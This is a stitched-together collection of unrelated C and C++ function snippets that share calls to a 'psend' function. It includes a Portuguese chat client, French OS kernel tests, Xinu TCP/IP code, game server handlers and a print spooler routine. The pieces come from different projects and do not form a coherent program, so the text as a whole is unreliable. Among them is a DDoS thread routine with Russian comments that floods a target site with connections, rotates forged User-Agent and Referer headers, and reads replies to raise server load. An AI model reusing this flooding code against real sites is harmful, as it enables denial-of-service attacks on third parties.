void run_chat(int sockfd, struct addrinfo *p) {
/**
* Executa o chat, solicitando ao usuario que forneca mensagens de texto.
* As mensagens sao enviadas ao servidor como mensagens MSG
*/
Message msg;
char usermsg[200];
int privid;
while (1) {
// constroe mensagem MSG
msg.id = MY_ID;
msg.type = MSG;
msg.to = 0;
strcpy(msg.name, MY_NAME);
printf("\n * #%d: %s: ", MY_ID, MY_NAME);
fgets(usermsg, 200, stdin); // usuario precisa digitar algum texto
strcpy(msg.text, usermsg);
privid = is_private_message(msg); // verifica se e' uma mensagem privada a ser enviada a um unico usuario especifico
if (privid) {
// se for privada especifica o id do destino a ser enviado na propriedade to
msg.to = privid;
strcpy(msg.text, get_private_message(msg)); // adquire o texto da mensagem privada e o copia
printf(" ...sending in private\n");
}
ISOK = 0;
psend(msg, sockfd, p); // envia a mensagem ao destino especico ou a todos se o .to = 0
}
}
int main(int argc, char *argv[])
{
printf("*****************************\nTest shm\n"
"*****************************\n");
(void)argc;
(void)argv;
const char *c="page_test_shm";
int fid=pcreate(1);
int ret;
int pid=start("test_shm1",10000,getprio(getpid()),(void *)fid);
void *pagep = shm_create(c);
assert(pagep!=NULL);
*((int*)pagep+4)=23;
psend(fid, 1);
preceive(fid,&ret);
printf("[process %i] : %i\n",getpid(),*((int*)pagep+4));
pdelete(fid);
shm_release(c);
waitpid(pid,&ret);
assert(shm_acquire(c)==NULL);
printf("\n*****************************\nTest fini\n"
"*****************************\n");
return 0;
}
void xsignal(struct sem *s)
{
int count;
assert(psend(s->fid, 1) == 0);
assert(pcount(s->fid, &count) == 0);
//assert(count == 1); XXX
assert(count < 2);
}
int main(void *arg)
{
int fid = (int)arg;
int c = cons_read();
assert(psend(fid, 1) == 0);
printf(" %d (%c)", 134 - getprio(getpid()), c);
return 0;
}
bool MySend( SOCKET Socket, const char *Data, int DataLen )
{
if ( (int)psend( Socket, Data, DataLen, 0 ) == SOCKET_ERROR )
{
return false;
}
return true;
}
// Функция выполнения многократного подключения к испытуемому сайту
DWORD WINAPI DDOSThreadProc(TDDOS *DDOS)
{
TMemory Buf(1024);
TMemory Referer(256);
DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100;
while (!DDOS->FTerminated)
{
// Создаём сокет
SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0);
if(Socket != SOCKET_ERROR)
{
// Подключаемся к серверу
struct sockaddr_in SockAddr;
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list;
SockAddr.sin_port = HTONS((unsigned short)DDOS->FRequest.Port);
// подключаемся к сокету
if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR )
{
// Генерируем данные
PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount);
string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z');
DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount));
int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr());
int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0);
// Для увеличения нагрузки на сервер пытаемся получить от сервера ответ
if (Sended == Size)
{
Size = (int)precv(Socket, Buf.Buf(), 1024, 0);
}
}
pclosesocket(Socket);
}
// Ждём до следующей отправки
if (!DDOS->FTerminated)
pSleep(SleepInterval);
}
pInterlockedDecrement(&DDOS->FThreadsCount);
return 0;
}
int main(void *arg)
{
int i, count, fid, pid;
struct tst16 *p = NULL;
int pids[2 * NB_PROCS];
(void)arg;
p = (struct tst16*) shm_create("test16_shm");
assert(p != NULL);
assert(getprio(getpid()) == 128);
for (count = 1; count <= 100; count++) {
fid = pcreate(count);
assert(fid >= 0);
p->count = count;
p->fid = fid;
pid = start("proc16_1", 2000, 128, 0);
assert(pid > 0);
for (i=0; i<=count; i++) {
assert(psend(fid, i) == 0);
test_it();
}
assert(waitpid(pid, 0) == pid);
assert(pdelete(fid) == 0);
}
p->count = 20000;
fid = pcreate(50);
assert(fid >= 0);
p->fid = fid;
for (i = 0; i< NB_PROCS; i++) {
pid = start("proc16_2", 2000, 127, 0);
assert(pid > 0);
pids[i] = pid;
}
for (i=0; i < NB_PROCS; i++) {
pid = start("proc16_3", 2000, 127, 0);
assert(pid > 0);
pids[NB_PROCS + i] = pid;
}
for (i=0; i < 2 * NB_PROCS; i++) {
assert(waitpid(pids[i], 0) == pids[i]);
}
assert(pcount(fid, &count) == 0);
assert(count == 0);
assert(pdelete(fid) == 0);
shm_release("test16_shm");
printf("ok.\n");
return 0;
}
//------------------------------------------------------------------------
// ip_in - handle IP packet coming in from the network
//------------------------------------------------------------------------
int
ip_in(struct epacket *packet, int icmpp, int lim)
{
struct udp *udpptr;
struct ip *ipptr;
struct netq *nqptr;
int dport;
int i;
int to;
int ps;
ipptr = (struct ip *)packet->ep_data;
switch (ipptr->i_proto) {
case IPRO_ICMP: // ICMP: pass to icmp input routine
return icmp_in(packet, icmpp, lim);
case IPRO_UDP: // UDP: demultiplex based on UDP "port"
udpptr = (struct udp *)ipptr->i_data;
dport = net2hs(udpptr->u_dport);
for (i = 0; i < NETQS; i++) {
nqptr = &Net.netqs[i];
if (nqptr->uport == dport) {
// drop instead of blocking on psend
if (pcount(nqptr->xport) >= NETQLEN) {
Net.ndrop++;
Net.nover++;
freebuf(packet);
return SYSERR;
}
psend(nqptr->xport, (uword)packet);
ps = disable();
to = nqptr->pid;
if (!isbadpid(to)) {
nqptr->pid = BADPID;
send(to, OK);
}
restore(ps);
return OK;
}
}
break;
default:
break;
}
Net.ndrop++;
freebuf(packet);
return OK;
}
/* Process a new connection by finding, initializing and connecting a player entry to a new socket */
static void new_player(int sock)
{
int n,nsock,len=sizeof(struct sockaddr_in); //,one=1; //,zero=0;
u_long one=1;
struct sockaddr_in addr;
char buf[16];
nsock=accept(sock,(struct sockaddr *)&addr,&len);
if (nsock==-1) return;
ioctl(nsock,FIONBIO,(u_long*)&one); // non-blocking mode
//setsockopt(nsock,IPPROTO_TCP,TCP_NODELAY,(const char *)&one,sizeof(int));
//setsockopt(nsock,SOL_SOCKET,SO_LINGER,(const char *)&zero,sizeof(int));
//setsockopt(nsock,SOL_SOCKET,SO_KEEPALIVE,(const char *)&one,sizeof(int));
for (n=1; n<MAXPLAYER; n++) if (!player[n]) break;
if (n==MAXPLAYER) { close(nsock); return; }
player[n]=xcalloc(sizeof(struct player),IM_PLAYER); mem_usage+=sizeof(struct player);
if (player[n]==NULL) { close(nsock); return; }
//bzero(player+n,sizeof(player[0]));
player[n]->zs.zalloc=my_zlib_malloc;
player[n]->zs.zfree=my_zlib_free;
//if (deflateInit(&player[n]->zs,1)) { close(nsock); xfree(player[n]); player[n]=NULL; mem_usage-=sizeof(struct player); return; }
if (deflateInit2(&player[n]->zs,1,Z_DEFLATED,14,7,Z_DEFAULT_STRATEGY)) { close(nsock); xfree(player[n]); player[n]=NULL; mem_usage-=sizeof(struct player); return; }
player[n]->sock=nsock;
player[n]->addr=addr.sin_addr.s_addr;
player[n]->state=ST_CONNECT;
player[n]->lastcmd=ticker;
/* buf[0]=SV_TICKER;
*(unsigned int*)(buf+1)=ticker;
psend(n,buf,5); */
buf[0]=SV_REALTIME;
*(unsigned int*)(buf+1)=realtime;
psend(n,buf,5);
online++;
if (!player[n]) return;
//xlog("new player at %d (%d.%d.%d.%d)",n,(player[n]->addr>>0)&255,(player[n]->addr>>8)&255,(player[n]->addr>>16)&255,(player[n]->addr>>24)&255);
}
void BuildPacket(SOCKET session, const char* message)
{
char packetSize[8];
ZeroMemory(packetSize, 8);
string packetHeader = "MSG 10 N ";
string packetSettings = "MIME-Version: 1.0\r\nContent-Type: text/plain; charset=UTF-8\r\n";
packetSettings += "X-MMS-IM-Format: FN=MS%20Shell%20Dlg; EF=; CO=0; CS=0; PF=0\r\n\r\n";
string packetMessage = message;
int sizeOfPacket = packetSettings.length() + packetMessage.length();
_itoa_s(sizeOfPacket, packetSize, 8, 10);
packetHeader += packetSize;
packetHeader += "\r\n";
string fullPacket = packetHeader;
fullPacket += packetSettings;
fullPacket += packetMessage;
psend(session, fullPacket.c_str(), fullPacket.length(), 0);
}
int main(void *arg)
{
struct psender *ps = NULL;
int ps_index = (int)arg;
unsigned i;
unsigned n;
ps = shm_acquire("test13_shm");
assert(ps != NULL);
n = strlen(ps[ps_index].data);
for(i = 0; i < n; i++) {
assert(psend(ps[ps_index].fid, ps[ps_index].data[i]) == 0);
}
shm_release("test13_shm");
return 0;
}
void echo_fct_standard(char * str, int fid, int echo)
{
for (unsigned i=0; i<strlen(str); i++){
if (echo){
if ((int)(str[i])==13)
printf("%c",(char)10);
else if ((int)(str[i])<32)
printf("^%c",(char)(64+(int)(str[i])));
else if ((int)(str[i])==127 && icour>0)
//Legere protection qui permet d'eviter d'effacer le prompt
printf("\b \b");
else if ((int)(str[i])!=127)
printf("%c",str[i]);
}
psend(fid,(int)str[i]);
}
}
/*------------------------------------------------------------------------
* tcptimer - TCP timer process
*------------------------------------------------------------------------
*/
PROCESS
tcptimer(void)
{
long now, lastrun; /* times from system clock */
int delta; /* time since last iteration */
struct tqent *tq; /* temporary delta list ptr */
lastrun = ctr100; /* initialize to "now" */
tqmutex = screate(1); /* mutual exclusion semaphore */
tqpid = getpid(); /* record timer process id */
signal(Net.sema); /* start other network processes*/
while (TRUE) {
sleep10(TIMERGRAN); /* real-time delay */
if (tqhead == 0) /* block timer process if delta */
suspend(tqpid); /* list is empty */
wait(tqmutex);
now = ctr100;
delta = now - lastrun; /* compute elapsed time */
/* Note: check for possible clock reset (time moved */
/* backward or delay was over an order of magnitude too */
/* long) */
if (delta < 0 || delta > TIMERGRAN*100)
delta = TIMERGRAN*10; /* estimate the delay */
lastrun = now;
while (tqhead != 0 && tqhead->tq_timeleft <= delta) {
delta -= tqhead->tq_timeleft;
if (pcount(tqhead->tq_port) <= tqhead->tq_portlen)
psend(tqhead->tq_port,
(int)tqhead->tq_msg);
tq = tqhead;
tqhead = tqhead->tq_next;
freemem(tq, sizeof(struct tqent));
}
if (tqhead)
tqhead->tq_timeleft -=delta;
signal(tqmutex);
}
}
void terminate(int sig) {
/**
* Funcao chamada atraves de um signal determinado no programa principal
* quando o usuario pressiona a tecla CTRL+C para sair
*/
Message exitmsg;
// constroe uma mensagem TCHAU a ser enviada para o servidor
exitmsg.id = MY_ID;
exitmsg.type = TCHAU;
exitmsg.to = 0;
strcpy(exitmsg.name, MY_NAME);
strcpy(exitmsg.text, "");
psend(exitmsg, sockfd, p); // Envia a mensagem TCHAU para o servidor
printf("\n\n Successfully ended...\n");
close(sockfd); // fecha o socket
(void) signal(SIGINT, SIG_DFL);
exit(0); // termina o programa
}
/**
* See header file.
*/
static NyLPC_TInt32 send(NyLPC_TiTcpSocket_t* i_inst,const void* i_buf_ptr,NyLPC_TInt32 i_len,NyLPC_TUInt32 i_wait_in_msec)
{
NyLPC_TInt16 hint;
NyLPC_TUInt16 s;
void* buf;
if(i_len<1){
return 0;
}
hint=(i_len>32767)?32767:i_len;
buf=allocSendBuf(i_inst,hint,&s,i_wait_in_msec);
if(buf==NULL){
return -1;
}
//送信サイズの計算
s=((NyLPC_TInt32)s<i_len)?s:(NyLPC_TUInt16)i_len;
memcpy(buf,i_buf_ptr,s);
if(!psend(i_inst,buf,s,i_wait_in_msec)){
releaseSendBuf(i_inst,buf);
return -1;//error
}
return s;
}
bool NetSend( SOCKET Socket, char *Buffer, DWORD dwBufferLen )
{
int r = 0;
while ( dwBufferLen > 0 )
{
if ( ( r = (int)psend( Socket, (const char*)Buffer, dwBufferLen, 0 ) ) == SOCKET_ERROR )
{
return false;
}
if ( !r )
{
return false;
}
Buffer += r;
dwBufferLen -= r;
}
return true;
}
int main(int argc, char *argv[])
{
(void)argv;
int fid=(int)argc;
unsigned long quartz, ticks, freq;
clock_settings(&quartz,&ticks);
freq=quartz/ticks;
while (1){
int jeton;
printf("%i essaye de prendre le jeton\n",getpid());
preceive(fid,&jeton);
printf("%i a pris le jeton %i, "
"l'incremente et le garde un peu\n",
getpid(),
jeton++);
wait_clock(3*freq+current_clock());
printf("%i remet le jeton\n",getpid());
psend(fid,jeton);
wait_clock(1*freq+current_clock());
}
return 0;
}
Message receive(int sockfd, char *errstr, int verbose) {
/**
* Recebe uma mensagem do servidor e a retorna
*/
int numbytes;
int tries = TIMEOUT_TRIES;
Message msg;
Message errmsg;
size_t addr_len;
struct sockaddr_in their_addr;
addr_len = sizeof their_addr;
numbytes = -1;
while (numbytes == -1 && tries) { // se ocorrer algum erro, pode haver mais tentativas
numbytes = recvfrom(sockfd, &msg, MAXBUFLEN-1 , 0, (struct sockaddr *)&their_addr, &addr_len);
if (numbytes == -1 && verbose) {
// Caso a funcao seja chamada como verbose, mostra na tela do
// exibidor mensagens de erro e envia uma mensagem de volta
// ao servidor notificando o erro
// constroe mensagem de erro
errmsg.type = ERRO;
errmsg.id = MY_ID;
strcpy(errmsg.name, MY_NAME);
strcpy(errmsg.text, errmsg.text);
psend(errmsg, sockfd, p); // envia mensagem de erro ao servidor
tries--;
perror("recvfrom");
printf("%s Trying to receive again...\n\n", errstr);
}
}
if (!tries) {
return errmsg;
}
return msg;
}
void start_connection(int sockfd, struct addrinfo *p) {
/**
* Inicializa uma conexao com o servidor, enviado uma mensagem OI
* e esperando receber uma mensagem REG de registro realizado com sucesso
*/
Message msg;
Message recmsg;
char name[100];
int namelen;
printf("Please type your nickname: "); // pede ao usuario que forneca um nome
fgets (name, 100, stdin);
// abaixo constroe uma mensagem OI a ser enviada ao servidor
namelen = strlen(name);
strncpy(MY_NAME, name, namelen-1);
msg.type = OI;
strcpy(msg.text, "");
strcpy(msg.name, MY_NAME);
psend(msg, sockfd, p); // envia a mensagem OI
printf("Waiting for registration...\n");
// recebe resposta REG do servidor, para o registro
recmsg = receive(sockfd, "Could not start connection to the server!", 1);
if (recmsg.type != REG || recmsg.id != SERVER_ID) {
// se nao recebeu resposta REG, o programa acaba
printf(" Connection not estabilished...\n\n");
exit(1);
}
MY_ID = atoi(recmsg.text); // define um id para o cliente fornecido pelo servidor
printf("\n Registration completed successfully! \n");
printf("\n ** To send private messages please type: %sID%s before the message): ", PRIVATE_CALL_BEGIN, PRIVATE_CALL_END);
}
void transport_driver(int in,int cn)
{
int x,y,a,oldx,oldy,nr,mirror,oldmirror;
unsigned long long bit;
struct transport_ppd *dat;
unsigned char buf[16];
if (!cn) return; // always make sure its not an automatic call if you don't handle it
dat=set_data(cn,DRD_TRANSPORT_PPD,sizeof(struct transport_ppd));
if (!dat) return; // oops...
// mark new transports as seen
nr=it[in].drdata[0];
if (nr!=255) { // not clan exit
if (nr<0 || nr>=ARRAYSIZE(trans)) {
elog("illegal transport nr %d from item %d (%s) #1",nr,in,it[in].name);
log_char(cn,LOG_SYSTEM,0,"Nothing happens - BUG (%d,#1).",nr);
return;
}
bit=1<<nr;
if (!(dat->seen&bit)) {
log_char(cn,LOG_SYSTEM,0,"You have reached a new transportation point.");
dat->seen|=bit;
}
}
if (ch[cn].act2==0) {
buf[0]=SV_TELEPORT;
*(unsigned long long*)(buf+1)=dat->seen;
psend(ch[cn].player,buf,9);
return;
}
nr=(ch[cn].act2&255)-1;
mirror=(ch[cn].act2/256);
if (mirror<1 || mirror>26) mirror=RANDOM(26)+1;
// clan hall is target
if (nr>63 && nr<64+60) {
if (may_enter_clan(cn,nr-63)) {
x=17+((nr-64)/12)*49;
y=16+((nr-64)%12)*20;
a=13;
} else {
x=43+((nr-64)/12)*49;
y=15+((nr-64)%12)*20;
a=13;
}
} else if (nr<64) {
bit=1<<nr;
if (!(dat->seen&bit)) {
log_char(cn,LOG_SYSTEM,0,"You've never been to %s before. You cannot go there.",trans[nr].name);
return;
}
if (nr==22 && !(ch[cn].flags&CF_ARCH)) {
log_char(cn,LOG_SYSTEM,0,"Sorry, Arches only!");
return;
}
if (nr<0 || nr>=ARRAYSIZE(trans)) {
//elog("illegal transport nr %d #2",nr);
log_char(cn,LOG_SYSTEM,0,"Nothing happens - BUG (%d,#2).",nr);
return;
}
x=trans[nr].x;
y=trans[nr].y;
a=trans[nr].a;
} else {
log_char(cn,LOG_SYSTEM,0,"You've confused me. (BUG #1123)");
return;
}
if (x<1 || x>MAXMAP-2 || y<1 || y>MAXMAP-2) {
log_char(cn,LOG_SYSTEM,0,"Nothing happens - BUG (%d,%d,%d).",x,y,a);
return;
}
oldmirror=ch[cn].mirror;
ch[cn].mirror=mirror;
if ((ch[cn].flags&CF_PLAYER) && a && (a!=areaID || get_mirror(a,ch[cn].mirror)!=areaM)) {
if (!change_area(cn,a,x,y)) {
log_char(cn,LOG_SYSTEM,0,"Nothing happens - target area server is down.");
ch[cn].mirror=oldmirror;
}
return;
}
buf[0]=SV_MIRROR;
*(unsigned int*)(buf+1)=ch[cn].mirror;
psend(ch[cn].player,buf,5);
oldx=ch[cn].x; oldy=ch[cn].y;
remove_char(cn);
if (!drop_char(cn,x,y,0)) {
log_char(cn,LOG_SYSTEM,0,"Please try again soon. Target is busy");
drop_char(cn,oldx,oldy,0);
}
}
void c_port_close(void)
{
static char cf[128];
int slf;
int lpdport;
int cfid;
long msg;
/* ************************************************************** *
* Now lets see if it looks like we can close the spoolfile *
* Check for the following: *
* 1) We are at level 1 for spool files... *
* (otherwise simply decrement the count and return) *
* 2) We have an open spool file *
* 3) No errors have occured *
* ************************************************************** */
if (open_count > 1)
{
open_count--;
return;
};
if ((data_file_ptr == (KS_FILE_PTR) NULL) ||
(port_status != PORT_SPOOLING))
{
return;
};
/* ************************************************************** *
* Close the spool file and reset the file pointer to be NULL *
* so we know that the file has been closed. *
* *
* Note: I haven't added error checking here because there really*
* isn't anything we can do if an error occurs... *
* ************************************************************** */
KS_FILE_CLOSE(data_file_ptr,
error);
data_file_ptr = NULL;
open_count = 0;
port_status = PORT_NOT_ACTIVE;
lpdport = pgetport("LPD");
if (lpdport == -1) {
error_message = DAEMON_NOT_ACTIVE;
goto ERROR_DAEMON_NOT_ACTIVE;
}
msg = (1l << 16) | getpid();
psend(lpdport,msg);
while ((cfid = (int) procreceive()) != -1);
sprintf(cf,PATH_LPQ ":cf.%05d",cfid);
slf = open(cf,O_WRONLY);
if (slf < 0) { SysBeep(); SysBeep(); }
write(slf,"l",1);
write(slf,tmp,strlen(tmp));
write(slf,"\r",1);
write(slf,"U",1);
write(slf,tmp,strlen(tmp));
write(slf,"\r",1);
close(slf);
/* register the job */
msg = (2l << 16) | cfid;
if (psend(lpdport,msg) == -1) SysBeep();
/* ************************************************************** *
* Everything is all set - return to our caller... *
* ************************************************************** */
return;
ERROR_DAEMON_NOT_ACTIVE:
/* ************************************************************** *
* First we close the spool file (can't use it anymore now...) *
* then give our user some feed back (like an error message). *
* ************************************************************** */
KS_FILE_CLOSE(data_file_ptr, error2);
/* delete the spool file */
remove(tmp);
data_file_ptr = (KS_FILE_PTR) NULL;
open_count--;
port_status = PORT_ERROR;
ERROR_DIALOG(error_message, error, button);
return;
}
